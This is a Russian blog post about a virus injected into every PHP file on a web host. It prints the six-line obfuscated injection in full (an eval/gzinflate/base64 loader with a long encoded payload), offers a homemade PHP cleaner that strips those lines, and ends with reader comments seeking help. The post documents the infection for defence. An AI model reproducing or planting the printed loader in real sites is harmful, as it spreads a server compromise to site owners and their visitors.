Вирус во всех PHP файлах на хостинге

Открываю я как-то свой сайт, и обращаю внимание на то, что очень долго загружается страница, кроме того некоторые картинки не отображаются…

Стал разбираться. Оказалось что во всех PHP файлах сайта дописался некий код. Занимая всего 6 строк эта зараза распространилась по всему хостингу и успела прибить несколько папок с файлами.

$md5 = "a38d0bd5fc49f80982df8aef5946e33c";
$wp_salt = array("t","s",'r',"d",')','$','c','o','6','z',"g","v","_",'i','a','e','n','4',"(",'b',";",'l',"f");
$wp_add_filter = create_function('$'.'v',$wp_salt[15].$wp_salt[11].$wp_salt[14].$wp_salt[21].$wp_salt[18].$wp_salt[10].$wp_salt[9].$wp_salt[13].$wp_salt[16].$wp_salt[22].$wp_salt[21].$wp_salt[14].$wp_salt[0].$wp_salt[15].$wp_salt[18].$wp_salt[19].$wp_salt[14].$wp_salt[1].$wp_salt[15].$wp_salt[8].$wp_salt[17].$wp_salt[12].$wp_salt[3].$wp_salt[15].$wp_salt[6].$wp_salt[7].$wp_salt[3].$wp_salt[15].$wp_salt[18].$wp_salt[5].$wp_salt[11].$wp_salt[4].$wp_salt[4].$wp_salt[4].$wp_salt[20]);
$wp_add_filter('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');

Перелопатив интернет и осознав, что антивирус я не найду — сделал свой.

Все вычистил. Система работает стабильно.

Берите, кому нужен. (Под кодом есть ссылка на скачивание)

// сохраняет в файл массив
function save_array_dump($filename, $array) {
$dump = '';
foreach ($array AS $dumpa) {
$dump .= $dumpa;
}
$fp = fopen($filename, "wb+");
fwrite($fp, $dump);
fclose($fp);
}

// Сканирование директории
function scan_dir($dirname)
{
$dir = opendir($dirname);
while (($file = readdir($dir)) !== false)
{
if($file != "." && $file != "..")
{
if(is_file($dirname."/".$file))
{
$ext = explode('.',$file);
$exts = count($ext)-1;

// реагируем только на РНР файлы
if ($ext[$exts] == 'php') {
$cont = file($dirname."/".$file);

// берем значение 4-й строк (со второй по пятую) первый символ намеренно игнорируем.
$md5_string1 = $cont[1];
$md5_string2 = $cont[2];
$md5_string3 = $cont[3];
$md5_string4 = $cont[4];

$a1 = $md5_string1[1].$md5_string1[2].$md5_string1[3].$md5_string1[4].$md5_string1[5];
$a2 = $md5_string2[1].$md5_string2[2].$md5_string2[3].$md5_string2[4].$md5_string2[5];
$a3 = $md5_string3[1].$md5_string3[2].$md5_string3[3].$md5_string3[4].$md5_string3[5];
$a4 = $md5_string4[1].$md5_string4[2].$md5_string4[3].$md5_string4[4].$md5_string4[5];

//  строки для детектирования
$s1 = 'md5 =';
$s2 = 'wp_sa';
$s3 = 'wp_ad';
$s4 = 'wp_ad';

// сравнение
if (($a1 == $s1)
AND ($a2 == $s2)
AND ($a3 == $s3)
AND ($a4 == $s4)) 

{
// если таки нашли вирус
echo "
ОБНАРУЖЕН ВИРУС В ФАЙЛЕ: ".$dirname."/".$file;

//удаляем из файла (массива) первые 6 строк (элементов)
unset($cont[0]);
unset($cont[1]);
unset($cont[2]);
unset($cont[3]);
unset($cont[4]);
unset($cont[5]);

// сохраняем
save_array_dump($dirname."/".$file, $cont);

}
}
}

// если это папка - рекурсиво заходим и туда ... повторяем в ней упражнение
if(is_dir($dirname."/".$file))
{
scan_dir($dirname."/".$file);
}
}
}
closedir($dir);
}

// Изменить на Ваш путь к папке содержащей контент сайта(ов).  пример: scan_dir('/home/');
scan_dir('./');

Download: antivir-php-remover.zip

 

Метод действия: Проходит рекурсивно по всем PHP файлам и где находит зверя — убивает его.

Вирус во всех PHP файлах на хостинге: 24 комментария

  1. Спасибо! С помощью вашего антивируса полечил свой блог. В коде на 17 строке устранил очепятку. Стало так: if($file != «.&&» && $file != «..»)

    • Опечатка связанна с особенностью вывода кода… (Добавил файл на скачивание)

  2. Привет) нужна помощь как вычислить вредоносную ссылку и код,и куда установить Вашу програмку пошагово)

    • записать в папку public_html и из командной строки Linux выполнить php.exe [имя файла в который сохранили код]

  3. Я чайник в таких вопросах, у меня вордпресс 3.3 , можно расписать по пунктам куда заходить и что делать? что-то я туплю в этих вопросах(

    • Внизу странички добавил файл
      1) Скачиваешь файл
      2) Распаковываешь этот файл в корень сайта, туда где папки wp-content / wp-admin
      3) Зайди по ссылке: http://[твой сайт]/antivir.php
      4) Жди 🙂

  4. то ли лыжи не едут, то ли я е*****ый
    вот я написал развертку:

    $i = 1;
    while (true) {

    if (preg_match(«/^eval\(gzinflate\(base64_decode\(‘(.*)’\)\)\);$/», $str, $m)) {
    $str = gzinflate(base64_decode($m[1]));
    } else {

    echo «Проехали: $i раз..»,
    «\n——————————————————\n»,
    «result: » , $str,
    «\n——————————————————\n»;

    break;

    }

    $i++;

    }

    вот результат:

    Проехали: 59 раз..
    ——————————————————
    result: Features and
    ——————————————————

    я выводил и проверял результат каждой итерации — ошибок нет

    Вариантов несколько:
    1) я му**к и не смог расшифровать.
    2) тут на сайте выложен не оригинальный код вируса.
    3) это не сам вирус, а тупая обманка чтобы простачки удаляли обманки, но не нашли матку.

  5. Я не про код «антивируса», я про код «вируса».
    А в аттаче только «антивирус».

  6. Я написал в этом комментарии свое реальное мыло.
    Если можно, будем на «ты».
    Давай спишемся на мыло, а там в аську или скайп.
    Ато мне тут дали ссылку на эту страницу, мол, вот такой у нас в ВП вирь (был, и руками его там удалили).
    Ну я долго не думая решил его расшифровать, и вот вышло, что ничего не вышло…

  7. Чет запустил этот антивирус на вордпрессе и открылась лишь белая страничка ( не хорошо

    А вообще употер все файлы темы вручную, удалил отовсюду этот код, но вирус все продолжает заливать на хостинг html файлы. Видать просто удалить код с пхп файлов — не выход, где-то сидит сама мамка

  8. У меня подобное, только в .js . Отсюда вопросик, можно ли применить данный антивирь к ява скриптам. Т.е. вместо // реагируем только на РНР файлы
    if ($ext[$exts] == ‘php’) {, прописать
    if ($ext[$exts] == ‘js’) {/
    Спасибо

    • Вы можете использовать данный скрипт по своему усмотрению. Ведь наша цель искоренение этой заразы …
      Можете его дописать и разместить ссылку на Ваш вариант скрипта. все Вам скажут Спасибо

  9. Здравствуйте, Игорь! Очень прошу вас выйти на связь со мной. На сайт goomla влез вредоносный код, найти никак не удается, т.к не разбираюсь в кодах хтмл, а удалить лишнее боюсь. Вот что у меня получилось после вот этих процедур:

    — on 29/12/2011 на 12:25 said:
    Внизу странички добавил файл
    1) Скачиваешь файл
    2) Распаковываешь этот файл в корень сайта, туда где папки wp-content / wp-admin
    3) Зайди по ссылке: http://[твой сайт]/antivir.php
    4) Жди

    Итог получился такой : —

    Warning: opendir(/home/nnpctoplus.ru/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 19

    Warning: readdir(): supplied argument is not a valid Directory resource in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 20

    Warning: closedir(): supplied argument is not a valid Directory resource in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 80

    • Может стоит попробовать из консоли ? Через SSH.
      Если предоставите логин пароль и IP могу попробовать помочь ..

    • Это конечно очень подробно.
      Излагайте в понятном виде Вашу проблему. Ссылку хоть покажите …

    • Вячеслав. Давно пора отказаться от сервиса UCOZ. Если не знаете как — спросите меня 🙂

  10. Подскажите пожалуйста куда именно в joomla 2.5 вставить этот файл если можно более подробно и надо ли менять в самом скаченном файле что та

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *